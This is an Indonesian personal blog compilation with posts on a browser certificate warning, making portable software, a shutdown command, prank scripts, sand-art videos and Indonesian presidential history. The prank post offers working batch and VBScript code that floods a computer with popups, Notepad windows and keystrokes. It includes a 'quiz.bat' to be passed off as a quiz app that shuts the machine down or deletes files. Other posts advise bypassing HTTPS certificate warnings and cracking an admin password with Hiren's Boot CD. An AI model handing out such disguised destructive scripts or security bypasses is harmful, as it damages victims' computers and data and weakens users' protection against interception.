Mengatasi masalah "This connection is untrusted" pada Browser anda

Beberapa minggu lalu saya sempat mengalami masalah ketika akan login ke facebook karena muncul pesan page error ” This connection is Untrusted ” . Seharusnya kita langsung login, ketika muncul pesan ini tentu sangat menyebalkan.

contoh pesan errornya :

solusi untuk pemecahan ini ada 2 sebenarnya :

solusi pertama (contoh pada gambar error di atas,)

1. klik I Understand the Risks

2. lalu klik tombol Add Exception

3. setelah di klik akan muncul window Add Security Exception

4.lalu klik Get Certificate

5. lalu setelah beberapa saat klik tombol Confirm Security Exception

selanjutnya page akan loading normal dan kamu sudah masuk ke halaman profile facebook kamu.

cara ini merupakan cara singkat dan tidak permanen, karena ketika anda login lagi maka harus mengulangi lagi step seperti di atas, capek kan ?

setelah saya selidiki kenapa sampai muncul pesan seperti ini , karena di pc lain dalam 1 jaringan lancar2 saja . Akhirnya saya sepertinya mengetahui penyebabnya, yaitu masalah tidak cocoknya waktu di komputer kamu dengan waktu lokal kamu . Saya menduga ini lah penyebab kenapa selalu keluar pesan This connection is Untrusted.

kasus ini tidak hanya ketika akan login di facebook, tetapi di website lain yang menggunakan https ketika akan login, seperti akan login ke yahoo, blogger atau website lainya.

jadi coba gunakan cara ke 2 untuk mengatasi masalah ini secara permanen .
Cocokan waktu di pc kamu dengan waktu lokal kamu, untuk hal itu kamu bisa ke control panel ==> trus pilih date and time .

Selamat Mencoba….!!!!!

Created By….
viets jeremy

Cara membuat Software PORTABLE..!!

Maksud dari judul posting diatas adalah bagaimana cara membuat sendiri sebuah software menjadi versi portable atau tanpa instal… Keuntungan dari versi portable tersebut, anda bisa menjalankannya di komputer (milik  sendiri atau orang lain) tanpa perlu menginstalnya, alias anda bisa menjalankannya langsung lewat flashdisk …

Bagi anda yang sering memperbaiki (atau meminjam) komputer orang lain saya rasa pasti sudah mengetahuinya jadi tidak perlu memperpanjang penjelasan tentang apa itu portable, baiknya langsung saja tentang cara pembuatannya.

Ada beberapa cara untuk membuat software portable, tetapi pada posting ini adalah cara termudah (menurut saya). Ok, let’s begin :

  • Pertama, siapkan software versi instal yang ingin anda jadikan portable.
  • Download software pembuat portble (menggunakan Thinstall_Virtualization_Suite_3.396) disini
  • Jika sudah selesai download jalankan Thinstall_Virtualization_Suite tersebut (software ini juga merupakan versi portable), dan ikuti step by step langkah berikut :

  • Klik Next

  • Klik Next

 

thinstall akan merekam keadaan awal komputer (software, registry, dll files,  dan lain lain semacamnya)

  • Proses ini akan memakan sedikit waktu, tergantung seberapa banyak software yang telah terinstal di komputer anda. Jika sudah selesai tekan next

  • Jika telah sampai pada langkah ini, jangan tekan next dulu… minimize dulu box ini kemudian instal software yang ingin dijadikan portable. Instal software tersebut (jika menggunakan crack atau patch instalkan juga dulu seperti biasa) hingga proses instalasi betul-betul finish. Jika sudah, buka lagi box Thinstall Virtualization Suite yang anda minimize tadi, baru klik next.

Pada proses diatas akan memerlukan waktu, dimana thinstall akan mencari software baru yang terinstal pada komputer dengan men-scan perubahan yang terjadi untuk dijadikan single-file atau versi portable.

  • Jika proses diatas telah selesai, klik next

  • Pada proses diatas, Thinstal telah berhasil menemukan program baru yang terinstal dan secara otomatis akan ter-conteng. Klik Next

  • Klik Next

  • Pada tahap ini thinstal akan meminta anda untuk mentukan lokasi penyimpanan hasil project yang anda buat, secara default lokasi tersebut dapat anda lihat pada kotak merah diatas. Catat atau ingat lokasi tersebut agar nantinya anda tidak bingung mencari hasil pembuatan software portable anda. Jika sudah, klik next

  • Klik Next

  • Proses diatas merupakan proses saving project yang anda buat, jadi biarkan proses ini sampai selesai, jika sudah klik next

  • Proses diatas merupakan proses terpenting, karena project anda akan dibangun pada tahapan ini. Klik tombol build now dan biarkan hingga proses benar-benar selesai.

  • Jika proses building telah selesai dimana pada box tertera “build complete” artinya pekerjaan anda telah selesai. Klik Finish

  • Cari hasil software yang telah anda jadikan portable tersebut di lokasi yang telah anda tentukan pada langkah sebelumnya (gambar 7). Secara default akan tersimpan pada folder captures di tempat yang sama dengan tempat  anda meletakkan software  Thinstall_Virtualization_Suite_3.396.

  • Pada folder captures, anda akan menemukan nama software yang telah anda jadikan portable, buka dan cari folder bin, disanalah hasil software portable siap pakai yang telah anda buat. Copy ke flashdisk dan coba anda jalankan di komputer lain.

== Untuk menghemat hard disk, Uninstal software yang baru anda instal tadi,  anda tidak memerlukannya lagi karena anda telah memiliki versi portablenya :D .  Setelah anda copy hasil software portable ke flashdisk, andapun bisa menghapus isi folder captures tersebut untuk membuat lagi portable software lainnya. Maafkan karena posting sederhana ini “sangat” panjang, semata-mata untuk memudahkan anda memahaminya… Ok, Selamat mencoba… semoga bermanfaat…

Created By….
viets jeremy

Membuat Otomatis ShutDown Windows Tanpa Software

Pernah sobat dengerin musik lewat komputer hingga ketiduran kan?
Kalau sobat pernah nonton TV lewat TV Tuner sampai ketiduran dan komputer tetap nyala waktu sobat tidur?

Hal ini bisa buat PC kerja terus-terusan & tagihan listrik bisa bengkak!

Tapi jangan khawatir, saya akan memberitahu caranya agar komputer shutdown secara otomatis tanpa menggunakan software, dan dapat dikerjakan dgn mudah, mari kita mulai:

Klik Start button > Run
Muncul kotak dialog Run, ketikkan

shutdown -s -t 1800 -c “cpu ku bilang,bos cape nih istirahat dulu yah…da da
atau
shutdown -r -t 1800 -c “cpu ku bilang,bos reboot(ribut) yuk kita

keterangan perintah di atas:

-s = shutdown alias matiin cpu sobat

-l = log off

-t = delay waktu sobat buat reboot/shutdown pake angka yah contoh : 1800
(1800 detik = 30 menit )

-c = bikit message seblum ribut/sutdon max 127 karakter (pake tanda kutip)

-r = untuk ribut cpu sobat…

ada lagi -f = maksain program yg lagi running utk sutdong…

* Nanti akan keluar jendela pop-up peringatan bahwa windows dalam waktu 30 menit akan mati. 1800 adalah jumlah detik (1800 detik = 30 menit).
* Untuk membatalkan proses tadi, jalankan lagi kotak dialog Run,dan ketik

shutdown -a

Power Tips ( biar berasa majalah Chip ) :

* Kalau tidak ada menu Run di Start Menu Windows, pake shortcut keyboard [Logo Windows] + [R] untuk menampilkan kotak dialog Run.
* Kalau ternyata gagal, berarti Anda tidak memiliki hak akses (privillage) Admin di komputer itu. Jebolah password admin menggunakan Hiren’s Boot CD /Download disini.

Tambahan :

sobat juga bisa membuat Shortcut di desktop sehingga mempermudah untuk mematikan komputer sobat setelah menggunakannya..!

Berikut Caranya :

1.klik kanan di desktop
2.new ► shortcut
3.tulis “shutdown” (tanpa tanda kutip)
4.next2 aja…udah kelar…

norak yah tutor nya..hehheee……

Selamat tidur,…..eh salah Selamat Mencoba ,…!!

Created By….
viets jeremy

Kumpulan Script iseng,.. ( Dijamin Ngeselin Abisss,.. )

Dah lama nih kawan ane gak posting lagi karna lagi sibuk…hehe.. kali ini saya mau posting cara jailin orang dengan script script sederhana
dan ada yang berguna juga tergantung gimana temen2 modif kata2 nya
bisa di kombinasiin sendiri ….misal nya di taruh di startup..

buka notepad lalu copy paste script di bawah…..

1.message yang nongol melulu

Code:

@ECHO off
:Begin
msg * muka lo jelek
msg * ngaca dulu gih
msg * hayo lo,cpu lu gw acak2
msg * ud install ulang aja
msg * biar masalah nya kelar
GOTO BEGIN

save namafile.BAT
ket:
walaupun di kill task manager,masih tetep nongol message nya

kata2 nya bisa diganti sesuai selera masing2…

2.bikin shutdown+message

Code:

@echo off
msg * apaan sih lo
shutdown -s -c “Error! muka mu standar abis”

save namafile.BAT

3.Mainin Caps Lock button

Code:

Set wshShell =wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{CAPSLOCK}”
loop

save namafile.vbs

4.buka tutup CD/DVD
Code:

Set oWMP = CreateObject(“WMPlayer.OCX.7”)
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

save namafile.vbs

5.bikin vbscript nongol mlulu
Code:

Set wshShell = wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “~(enter)”
loop

save namafile.vbs
ket: di task manager full wscript yg lg running

6.teken tombol backspace mlulu
Code:

MsgBox “kembali ke menu sebelumnya”
Set wshShell =wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{bs}”
loop

save namafile.vbs

7.otomatis ngetik “lu jelek banget sih” di notepad/word
Code:

Set wshShell = wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “lu jelek banget sih!!!”
loop

save namafile.vbs

8.buka notepad trus menerus
Code:

@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top

save namafile.BAT
ket : termasuk yang ngeselin banget nih
bisa di ganti,terserah mau buka cmd ato buka yg lain..ganti aja dir nya.

9.otomatis buka notepad lalu ngetik apa yg lo mau
Code:

WScript.Sleep 1800
WScript.Sleep 100
Set WshShell = WScript.CreateObject(“WScript.Shell”)
WshShell.Run “notepad”
WScript.Sleep 10
WshShell.AppActivate “Notepad”
WScript.Sleep 50
WshShell.SendKeys “ka”
WScript.Sleep 50
WshShell.SendKeys “mu “
WScript.Sleep 50
WshShell.SendKeys “je”
WScript.Sleep 50
WshShell.SendKeys “le”
WScript.Sleep 50
WshShell.SendKeys “k “
WScript.Sleep 50
WshShell.SendKeys ” se”
WScript.Sleep 50
WshShell.SendKeys “ka”
WScript.Sleep 50
WshShell.SendKeys “li”
WScript.Sleep 50
WshShell.SendKeys ” y”
WScript.Sleep 50
WshShell.SendKeys “a”
WScript.Sleep 50
WshShell.SendKeys ” h”
WScript.Sleep 50
WshShell.SendKeys “!”
WScript.Sleep 50
WshShell.SendKeys “!! “

save namafile.vbs

ket:
ini salah satu script favorit gw…dulu pernah gw nembak cewek pake cara ini..
gw rangkai pake kata2 gw…trus durasi ngetik nya juga di lambatin…
nama file nya isihatiku.vbs..
angka2 di atas bisa di modif sendiri (durasi nongol notepad/ngetiknya)

Tambahan ahh
dari script diatas temen2 kembangin aja lagi…misal kayak gini nih
Code:

@echo off
title quiz hari ini 🙂
:menu
cls
echo jika kamu kena virus apa yang kamu lakukan
pause
echo pilih yang mana:
echo 1. matiin computer
echo 2. format aja
echo 3. bingung ahh
set input=nothing
set /p input=Choice:
if %input%==1 shutdown -s -t 30
if %input%==2 del c:\xxx
if %input%==3 @ECHO off
msg * muka lo jelek
msg * ngaca dulu gih
msg * hayo lo,cpu lu gw acak2
msg * ud install ulang aja
msg * biar masalah nya kelar
@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top

nah script diatas save jadi quiz.bat kasih ke temen..
pura2 aj bilang ad aplikasi kuis…
ket di atas :
kalo pilih 1.otomatis matiin computer
2.format file (terserah file apaan ganti aj dir nya)
3.sama aj kayak pilihan 1
kata2 di atas di ganti2 aj sesuai selera temen2

sekian kumpulan script2 yang jail/berguna, Selamat beriseng ria,…………….

Created By….
viets jeremy

Kumpulan Video Lukisan" Pasir ( Sand Art ) Yang Mengagumkan…!!!!

Lukisan ini Dibuat Oleh  ILANA YAHAV seorang seniman animasi pasir asal Israel. Menggunakan jari-jarinya saja, Ilana menarik dengan pasir di atas meja kaca. Dia menjalin bersama pasir, pencahayaan dan musik untuk menciptakan pemandangan yang luar biasa tiga dimensi.

Ini adalah video yang luar biasa. Hidupkan speaker dan nikmatilah seninya…!!

PERINGATAN: Menonton seni Zionis Israel adalah ilegal di San Francisco.

You Have a Got Friend


Green Dream


Just Imagine


Emotions

Let’s get Together

One Man’s Dream

Video Live Ilana Yahav

Berikut ini adalah Video Seorang gadis Ukraina Kseniya Simonova lukisan menggunakan pasir untuk menggambarkan perang dunia II bagaimana keluarganya telah dipisahkan oleh perang…Penonton”nya Bnyk yg Terharu sampai menangis mengeluarkan Air mata menontonnya,…..!!!!

Created By….
viets jeremy

2 Presiden RI Yang Terlupakan Oleh Sejarah

Di dalam perjalanannya, sejarah mencatat, bahwa Indonesia dipimpin oleh seorang kepala negara yang menjalankan pemerintahan, yaitu presiden. Ada 6 nama presiden yang umum diketahui selama ini sebagai pemimpin pemerintahan NKRI. Mereka, adalah :

1. Soekarno (1945-1966)

2. Soeharto (1966-1998)

3. BJ. Habibie (1998-1999)
4. Abdurahman Wahid (1999-2001)

5. Megawati Sukarnoputri (2001-2004)

6. Susilo Bambang Yudhoyono (2004-sekarang)

Namun, ada dua nama presiden yang dilupakan oleh sejarah Indonesia. Nama-nama yang terlupakan begitu saja itu, adalah Sjafruddin Prawiranegara yang menjabat presiden pada Pemerintahan Darurat Republik Indonesia (PDRI), dari tanggal 22 Desember 1948 hingga 13 Juli 1949, dan Mr. Assaat yang memangku sementara jabatan Presiden Republik Indonesia (RI) pada periode 27 Desember 1949 hingga 15 Agustus 1950, setelah Konferensi Meja Bundar (KMB).

Dua nama Presiden tersebut merupakan nama yang tak tercatat di dalam sejarah Indonesia, mungkin karena alpa, tetapi mungkin juga disengaja dengan alasan-alasan tertentu.

Sjafruddin Prawiranegara, Presiden Pemerintahan Darurat Republik Indonesia (PDRI), periode 22 Desember 1948 hingga 13 Juli 1949

https://i0.wp.com/www.portalestoria.net/IMAGES%2083/Sjafrudin_prawiranegara%5B1%5D.jpg

Sjafruddin Prawiranegara pernah menjabat sebagai Presiden yang merangkap menteri pertahanan, penerangan, dan luar negeri ad interim pada Pemerintahan Darurat Republik Indonesia (PDRI), yang dibentuk untuk menyelamatkan pemerintahan RI.

Saat itu, Belanda baru saja melancarkan agresi militer ke-2, pada 19 Desember 1948, di Ibukota RI yang saat itu berkedudukan di Yogyakarta. Belanda pun menahan Presiden dan Wakil Presiden RI saat itu, Soekarno-Hatta.

Di sela-sela penangkapan itu, Soekarno mengirim telegram kepada Sjafruddin yang saat itu menjabat sebagai Menteri Kemakmuran RI, dan tengah berada di Bukittinggi, Sumatera Barat. Kepada Sjafruddin, Soekarno meminta agar dibentuk pemerintahan darurat di Sumatera, jika pemerintah tidak dapat menjalankan kewajibannya lagi.

Sjafruddin dan tokoh-tokoh bangsa lainnya di Sumatera kemudian membentuk PDRI, untuk menyelamatkan negara yang berada dalam keadaan berbahaya akibat kekosongan posisi kepala pemerintahan (Vacuum Of Power). Karena, posisi itu menjadi salah satu syarat internasional untuk di akui sebagai negara di dunia. PDRI pun diproklamirkan 22 Desember 1948 di Desa Halaman, sekitar 15 Kilometer dari Payakumbuh.

Jabatan Presiden merangkap menteri pertahanan, penerangan, dan luar negeri ad interim yang di isi Sjafruddin, kemudian berakhir setelah dia menyerahkan kembali mandatnya kepada Soekarno yang kembali ke Yogyakarta pada 13 Juli 1949. Riwayat PDRI pun berakhir.

Mr. Assaat, Pemangku Sementara Jabatan Presiden Republik Indonesia (RI), periode 27 Desember 1949 hingga 15 Agustus 1950.

https://i0.wp.com/static.inilah.com/data/berita/foto/156251.jpg

Mr. Assaat pernah dipercaya menjabat Pemangku sementara jabatan Presiden Republik Indonesia (RI), pada periode 27 Desember 1949 hingga 15 Agustus 1950. Jabatan itu diamanatkan kepada Mr. Assaat, setelah perjanjian KMB 27 Desember 1949 memerintahkan pemerintah Belanda menyerahkan kedaulatan Indonesia kepada pemerintahan Republik Indonesia Serikat (RIS).

RIS merupakan negara serikat yang terdiri dari 16 negara bagian, salah satunya adalah Republik Indonesia (RI), yang saat itu dipimpin pemangku sementara jabatan Presiden, Mr Assaad. Jabatan itu diisi Mr. Assaat, karena Soekarno dan Hatta ditetapkan sebagai Presiden dan Wakil Presiden RIS, akibatnya pimpinan RI kosong.

Peran Mr. Assaat saat itu sangat penting, karena jika RI tanpa pimpinan, berarti ada kekosongan kekuasaan (Vacuum Of Power) dalam sejarah Indonesia. Jabatan Mr. Assaat sebagai pemangku sementara jabatan Presiden RI, berakhir setelah Belanda dan dunia internasional mengakui kembali kedaulatan RI.

RIS dilebur menjadi Negara Kesatuan Republik Indonesia (NKRI), pada 15 Agustus 1950. Soekarno dan Hatta kembali ditetapkan menjadi Presiden dan Wakil Presiden RI, sementara jabatan Mr. Assaat sebagai pemangku sementara jabatan Presiden RI dinyatakan berakhir.

Demikian sejarah 2 presiden RI yang dilupakan tersebut, semoga kita selalu mengingat, bahwa kita memiliki 2 orang presiden yang sangat berjasa saat itu, meskipun hanya bersifat sementara, namun keberadaan dan peran mereka sangatlah penting.

Sumber : evolution-viets.blogspot.com, dan berbagai sumber lainnya

Created By….
viets jeremy

Biografi IR. Soekarno Presiden Pertama RI

Ir. Soekarno terlahir dengan nama Koesno Sosrodihardjo (lahir 6 Juni 1901 – meninggal 21 Juni 1970) adalah Presiden pertama Indonesia pada periode 1945-1966. Ia memainkan peranan penting untuk memerdekakan bangsa Indonesia dari penjajahan Belanda. Soekarno adalah penggali Pancasila karena ia yang pertama kali mencetuskan konsep mengenai dasar negara Indonesia itu dan ia sendiri yang menamainya Pancasila. Ia adalah bapak Proklamator Kemerdekaan Indonesia (bersama dengan Mohammad Hatta) yang dicetuskan pada tanggal 17 Agustus 1945.

Soekarno menandatangani Surat Perintah 11 Maret 1966 Supersemar yang kontroversial, yang isinya – berdasarkan versi yang dikeluarkan Markas Besar Angkatan darat – menugaskan Letnan Jendral Soeharto untuk menjaga keamanan negara dan institusi kepresidenan. Supersemar menjadi dasar Letnan Jenderal Soeharto untuk membubarkan Partai Komunis Indonesia (PKI) dan mengganti anggota-anggotanya yang duduk di parlemen. Setelah pertanggung jawabannya ditolak Majelis Permusyawaratan Rakyat Sementara (MPRS) pada sidang umum ke empat tahun 1967, Presiden Soekarno diberhentikan dari jabatannya sebagai presiden pada Sidang Istimewa MPRS di tahun yang sama dan mengangkat Soeharto sebagai pejabat Presiden Republik Indonesia. Dia dipaksa lengser dari kekuasaannya saat itu oleh Soeharto, dan berada di bawah tahanan rumah hingga akhir hayatnya.

Nama

Ketika dilahirkan, Soekarno diberikan nama Kusno Sosrodihardjo oleh orangtuanya. Namun karena ia sering sakit maka ketika berumur lima tahun namanya diubah menjadi Soekarno oleh ayahnya. Nama tersebut diambil dari seorang panglima perang dalam kisah Bharata Yudha yaitu Karna. Nama “Karna” menjadi “Karno” karena dalam bahasa Jawa huruf “a” berubah menjadi “o” sedangkan awalan “su” memiliki arti “baik”.

Ejaan nama “Sukarno” sering digunakan dalam bahasa Inggris karena berdasarkan ejaan resmi baru di Indonesia EYD (ejaan yang disempurnakan) sejak tahun 1947, namun di kemudian hari ketika menjadi Presiden RI, ejaan nama Soekarno diganti olehnya sendiri menjadi Sukarno karena menurutnya nama tersebut menggunakan ejaan penjajah (Belanda), Ia tetap menggunakan nama Soekarno dalam tanda tangannya karena tanda tangan tersebut adalah tanda tangan yang tercantum dalam Teks Proklamasi Kemerdekaan Indonesia yang tidak boleh diubah.

Di Indonesia dia pun dikenal dengan sebutan “Bung Karno” atau “Pak Karno”. Seperti kebanyakan orang Jawa pada umumnya, ia hanya memiliki satu nama , dan di dalam konteks keagamaan, ia pun kadang-kadang disebut sebagai “Achmed Sukarno”.

Achmed Soekarno

Di beberapa negara Barat, nama Soekarno kadang-kadang ditulis Achmed Soekarno. Hal ini terjadi karena ketika Soekarno pertama kali berkunjung ke Amerika Serikat, sejumlah wartawan bertanya-tanya, “Siapa nama kecil Soekarno?” karena mereka tidak mengerti kebiasaan sebagian masyarakat di Indonesia yang hanya menggunakan satu nama saja atau tidak memiliki nama keluarga. Entah bagaimana, seseorang lalu menambahkan nama Achmed di depan nama Soekarno. Hal ini pun terjadi di beberapa Wikipedia, seperti wikipedia bahasa Ceko, bahasa Wales, bahasa Denmark, bahasa Jerman, dan bahasa Spanyol.

Sukarno menyebutkan bahwa nama Achmed di dapatnya ketika menunaikan ibadah haji. Dalam beberapa versi lain, disebutkan pemberian nama Achmed di depan nama Sukarno, dilakukan oleh para diplomat muslim asal Indonesia yang sedang melakukan misi luar negeri dalam upaya untuk mendapatkan pengakuan kedaulatan negara Indonesia oleh negara-negara Arab.

Latar Belakang

Soekarno dilahirkan dari rahim seorang ibu keturunan bangsawan Bali bernama Ida Ayu Nyoman Rai beragama Hindu dari Kabupaten Buleleng, sedangkan ayahnya juga seorang bangsawan Jawa bernama Raden Soekemi Sosrodihardjo yang beragama Islam. Kedua orang tuanya tersebut bertemu ketika Raden Soekemi yang merupakan seorang guru, ditempatkan di Sekolah Dasar Pribumi di Singaraja, Bali. Soekarno yang terlahir dengan nama Kusno Sosrodihardjo, lahir di Blitar, Jawa Timur di Hindia Belanda (sekarang Indonesia), pada tanggal 6 Juni 1901. Sesuai dengan adat Jawa, ia pun berganti nama karena sering sakit pada masa kanak-kanaknya.

Ketika kecil Soekarno tinggal bersama kakeknya, Raden Hardjokromo di Tulung Agung, Jawa Timur. Pada usia 14 tahun, seorang kawan bapaknya yang bernama Oemar Said Tjokroaminoto, seorang nasionalis masa depan, mengajak Soekarno tinggal di Surabaya dan disekolahkan ke Hoogere Burger School (H.B.S.), sambil mengaji di tempat Tjokroaminoto. Keberagaman, yang ada di antara elite berpendidikan kecil koloni itu, membuat Sukarno fasih dalam beberapa bahasa. Selain bahasa Jawa di masa kecilnya, ia pintar berbahasa Sunda, Bali, dan Indonesia, terutama Belanda khususnya. Dia pun cukup mahir dalam bahasa Jerman, Inggris , Perancis, Arab, dan Jepang. Dibantu pula oleh kemampuan memori fotografis yang dimilikinya dan pikirannya pun dewasa sebelum waktunya. Di Surabaya, Soekarno banyak bertemu dengan para pemimpin Sarekat Islam, organisasi yang dipimpin Tjokroaminoto saat itu. Soekarno kemudian bergabung dengan organisasi Jong Java (Pemuda Jawa).

Tamat H.B.S. tahun 1920, Pada tahun 1921 Soekarno mulai belajar di Technische Hoge School (sekarang ITB) di Bandung, masuk teknik sipil, jurusan arsitektur, dan tamat pada tahun 1925. Saat di Bandung, Soekarno berinteraksi dengan Tjipto Mangunkusumo dan Dr. Douwes Dekker, yang saat itu merupakan pemimpin organisasi National Indische Partij.

Dalam studinya, Soekarno “sangat modern”, baik dalam ilmu arsitektur dan ilmu politik. Soekarno memiliki pandangan ide-ide dalam berpakaian, dalam perencanaan ibukota imajinernya (akhirnya Jakarta), dan dalam politik sosialisnya, meskipun ia tidak berselera pada seni musik pop modern, ia sempat memenjarakan Koes Plus kala ia menjabat sebagai Presiden RI karena diduga lirik lagu mereka menurunkan reputasinya dalam mempermainkan perempuan. Menurut Sukarno, modernitas buta akan ras, murni, dan bergaya ke Barat-an, serta anti-imperialis.

Masa Pergerakan Nasional

Pada tahun 1926, Soekarno mendirikan Algemene Studie Club di Bandung. Organisasi ini menjadi cikal bakal partai pro-kemerdekaan, Partai Nasional Indonesia (PNI) yang didirikan dan dipimpinnya pada tahun 1927. Ia menentang imperialisme dan kapitalisme karena menurutnya kedua sistem tersebut memperburuk kehidupan rakyat Indonesia. Dia berharap bahwa Jepang akan memulai perang melawan kekuatan Barat dan kemudian Indonesia bisa mendapatkan kemerdekaan lewat bantuan Jepang. Aktivitas Soekarno di PNI menyebabkannya ditangkap Belanda pada bulan Desember 1929, dihukum dua tahun penjara, dan memunculkan pledoinya yang fenomenal: Indonesia Menggugat, hingga dibebaskan kembali pada tanggal 31 Desember 1931.

Pada bulan Juli 1932, Soekarno bergabung dengan Partai Indonesia (Partindo), yang merupakan pecahan dari PNI. Soekarno kembali ditangkap pada bulan Agustus 1933, dan diasingkan ke Flores. Di sini, Soekarno hampir dilupakan oleh tokoh-tokoh nasional. Namun semangatnya tetap membara seperti tersirat dalam setiap suratnya kepada seorang Guru Persatuan Islam bernama Ahmad Hasan. Pada tahun 1938 hingga tahun 1942 Soekarno diasingkan ke Provinsi Bengkulu. Soekarno baru kembali bebas pada masa penjajahan Jepang pada tahun 1942. Pada saat dibebaskan, dia menjadi pahlawan yang sangat populer.

Perang Dunia II dan Pendudukan Jepang

Pada awal tahun 1929, selama Kebangkitan Nasional Indonesia , Soekarno dan sesama pemimpin nasionalis Indonesia Mohammad Hatta (kemudian Wakil Presiden), pertama meramalkan Perang Pasifik dan dengan adanya peluang pendudukan Jepang di Indonesia maka dapat menyebabkan kemerdekaan untuk Indonesia.

Pada awal masa penjajahan Jepang (1942-1945), pemerintah Jepang sempat tidak memperhatikan tokoh-tokoh pergerakan Indonesia terutama untuk “mengamankan” keberadaannya di Indonesia. Ini terlihat pada Gerakan 3A dengan tokohnya Shimizu dan Mr. Syamsuddin yang kurang begitu populer.
Pada Februari 1942, Kekaisaran Jepang menginvasi Hindia Belanda dengan cepat dan mengalahkan barisan pasukan Belanda, bis, dan truk yang ditumpangi Soekarno tiga ratus kilometer menuju Padang , Sumatera Barat. Belanda bermaksud menjadikannya tahanan, namun tiba-tiba meninggalkannya demi menyelamatkan diri.

Jepang memiliki catatan sendiri tentang Soekarno dan mendekatinya dengan rasa hormat dengan maksud ingin menggunakannya untuk mengatur dan menenangkan orang Indonesia. Di sisi lain Sukarno ingin menggunakan Jepang untuk membebaskan Indonesia: “Puji syukur Tuhan, Tuhan telah menunjukkan jalan, di lembah Ngarai aku berkata: Ya, kemerdekaan Indonesia hanya dapat dicapai dengan Dai Nippon … Untuk pertama kalinya dalam seumur hidupku, aku melihat diriku pada cermin Asia .”

Selanjutnya, pasukan pribumi di Sumatera dan Jawa membantu Jepang melawan Belanda tetapi tidak mau bekerja sama dalam memasok bahan bakar penerbangan yang penting bagi upaya perang Jepang. Kesal atas dukungan masyarakat pribumi dalam memasok bahan bakar, Jepang membawa Sukarno kembali ke Jakarta. Ia membantu Jepang dalam memperoleh bahan bakar penerbangan dan tugas wajib militer, disebut Kerja Paksa dalam bahasa Indonesia dan Romusha dalam bahasa Jepang. Akhirnya Sukarno pun malu dengan perannya di romusha itu. Ia juga terlibat dengan Peta dan Heiho (pasukan relawan tentara Jawa) melalui pidato yang disiarkan di radio Jepang dan jaringan pengeras suara di seluruh Jawa. Pada pertengahan 1945 unit tersebut telah berjumlah sekitar dua juta, dan sedang mempersiapkan diri untuk mengalahkan pasukan Sekutu yang dikirim untuk memperebutkan Jawa kembali.

Namun akhirnya, pemerintahan pendudukan Jepang memperhatikan dan sekaligus memanfaatkan tokoh-tokoh Indonesia seperti Soekarno, Mohammad Hatta, dan lain-lain dalam setiap organisasi-organisasi dan lembaga lembaga untuk menarik hati penduduk Indonesia. Disebutkan dalam berbagai organisasi seperti Jawa Hokokai, Pusat Tenaga Rakyat (Putera), BPUPKI dan PPKI, tokoh-tokoh seperti Soekarno, Hatta, Ki Hajar Dewantara, K.H. Mas Mansyur dan lain lainnya disebut-sebut dan terlihat begitu aktif. Dia juga menjadi kepala Badan Penyelidik Usaha Persiapan Kemerdekaan Indonesia (BPUPKI), Dokuritsu Junbi Cosakai dalam bahasa Jepang, yang diselenggarakan melalui komite Jepang untuk memperoleh kemerdekaan Indonesia nantinya. Dan akhirnya tokoh-tokoh nasional bekerjasama dengan pemerintah pendudukan Jepang untuk mencapai kemerdekaan Indonesia, meski ada pula yang melakukan gerakan bawah tanah seperti Sutan Syahrir dan Amir Sjarifuddin karena menganggap Jepang adalah fasis yang berbahaya.

Presiden Soekarno sendiri, saat pidato pembukaan menjelang pembacaan teks proklamasi kemerdekaan, mengatakan bahwa meski sebenarnya kita bekerjasama dengan Jepang sebenarnya kita percaya dan yakin serta mengandalkan kekuatan sendiri.
Ia aktif dalam usaha persiapan kemerdekaan Indonesia, diantaranya adalah merumuskan Pancasila, UUD 1945 dan dasar dasar pemerintahan Indonesia termasuk merumuskan naskah proklamasi Kemerdekaan. Ia sempat dibujuk untuk menyingkir ke Rengasdengklok Peristiwa Rengasdengklok.

Pada 10 November 1943, Perdana Menteri Jepang Hideki Tojo mengundang tokoh Indonesia yakni Soekarno, Mohammad Hatta dan Ki Bagoes Hadikoesoemo ke Jepang dan diterima langsung oleh Kaisar Hirohito. Soekarno dan ketiga tokoh Indonesia tersebut diberi tanda kehormatan Bintang kekaisaran (Ratna Suci) oleh Kaisar Jepang di Tokyo. Hal tersebut membuat pemerintahan pendudukan Jepang terkejut, berarti ketiga tokoh Indonesia itu dianggap keluarga Kaisar Jepang sendiri.

Pada tanggal 7 September 1944, dengan pertempuran yang buruk bagi Jepang, Perdana Menteri Koiso menjanjikan kemerdekaan bagi Indonesia, meski tanpa tanggal penetapan. Pengumuman ini terlihat, menurut sejarah resmi AS, sebagai pembenaran besar yang nyata dalam kolaborasi antara Sukarno dengan Jepang. Pada saat itu Amerika Serikat menganggap Sukarno adalah salah satu “pemimpin kolborasi.”

Perjuangan Kemerdekaan

Setelah Jepang menyerah pada bulan Agustus 1945, Soekarno, Mohammad Hatta, dan Dr Radjiman Widjodiningrat dipanggil oleh Marsekal Terauchi, pimpinan Angkatan Darat wilayah Asia Tenggara di Dalat Vietnam yang kemudian menyatakan bahwa proklamasi kemerdekaan Indonesia adalah urusan rakyat Indonesia sendiri. Namun keterlibatannya dalam badan-badan organisasi bentukan Jepang membuat Soekarno dituduh oleh Belanda bekerja sama dengan Jepang,antara lain dalam kasus romusha.

Fatmawati

Soekarno bersama tokoh-tokoh nasional mulai mempersiapkan diri menjelang Proklamasi kemerdekaan Republik Indonesia. Setelah sidang Badan Penyelidik Usaha Persiapan Kemerdekaan Indonesia (BPUPKI), Panitia Kecil yang terdiri dari delapan orang (resmi), Panitia Kecil yang terdiri dari sembilan orang/Panitia Sembilan (yang menghasilkan Piagam Jakarta), dan Panitia Persiapan Kemerdekaan Indonesia (PPKI), Dokuritsu Junbi Iinkai dalam bahasa Jepang, Soekarno-Hatta mendirikan Negara Indonesia berdasarkan Pancasila dan UUD 1945.

